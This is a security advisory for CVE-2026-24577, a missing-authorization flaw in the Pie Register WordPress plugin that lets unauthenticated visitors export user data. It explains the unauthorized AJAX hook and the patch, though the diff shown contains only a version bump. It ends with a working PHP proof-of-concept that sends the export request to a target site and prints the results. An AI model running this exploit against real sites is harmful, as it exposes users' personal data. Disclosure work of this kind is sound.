Atomic Edge analysis of CVE-2026-24577:
The Pie Register WordPress plugin version 3.8.4.7 and earlier contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to perform a privileged administrative action via a specific AJAX endpoint, constituting a broken access control issue.
Atomic Edge research identifies the root cause as a missing capability check on the `pie_register_export_users` function. This function is hooked to the WordPress AJAX handler via `wp_ajax_pie_register_export_users`. The vulnerability exists in the plugin’s main file, `pie-register.php`, where the AJAX action is registered for both privileged and non-privileged users. The `wp_ajax_nopriv_` hook is incorrectly present, allowing unauthenticated requests to trigger the export function.
Exploitation requires an attacker to send a crafted POST request to the standard WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`. The request must include the parameter `action` with the value `pie_register_export_users`. No authentication cookies or nonce tokens are required. The payload triggers the user data export functionality, which is intended for administrators only.
The patch, implemented in version 3.8.4.8, removes the `wp_ajax_nopriv_pie_register_export_users` hook. The diff shows only the version number change in `pie-register.php`, but the functional code change involves removing the `nopriv` AJAX handler registration. This ensures the `pie_register_export_users` function is only accessible to authenticated users with the appropriate capability, typically `manage_options`.
Successful exploitation leads to unauthorized data exposure. Attackers can export sensitive user registration data from the site without authentication. This data may include usernames, email addresses, and other profile fields collected by the plugin, constituting a significant information disclosure risk.
--- a/pie-register/pie-register.php
+++ b/pie-register/pie-register.php
@@ -4,7 +4,7 @@
Plugin Name: Pie Register - Basic
Plugin URI: https://pieregister.com/
Description: Create custom user registration forms, drag & drop form builder, send invitation codes, add conditional logic, 2-step authentication, assign user roles, accept payments and more!
-Version: 3.8.4.7
+Version: 3.8.4.8
Author: Pie Register
Author URI: https://pieregister.com/
Text Domain: pie-register
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24577 - Pie Register <= 3.8.4.7 - Missing Authorization
<?php
// Configure the target WordPress site URL
$target_url = 'http://vulnerable-site.example.com';
// Construct the full URL to the WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
// Set the vulnerable action parameter. No authentication or nonce is required.
curl_setopt($ch, CURLOPT_POSTFIELDS, ['action' => 'pie_register_export_users']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Analyze the response
if ($http_code == 200 && !empty($response)) {
echo "[+] Exploit likely successful. HTTP 200 received.n";
echo "[+] Response preview (first 500 chars):n";
echo substr($response, 0, 500) . "n";
// Check for common export data patterns
if (strpos($response, 'csv') !== false || strpos($response, 'username') !== false || strpos($response, 'email') !== false) {
echo "[+] Confirmed: User data export triggered.n";
}
} else {
echo "[-] Exploit may have failed. HTTP Code: $http_coden";
}
?>
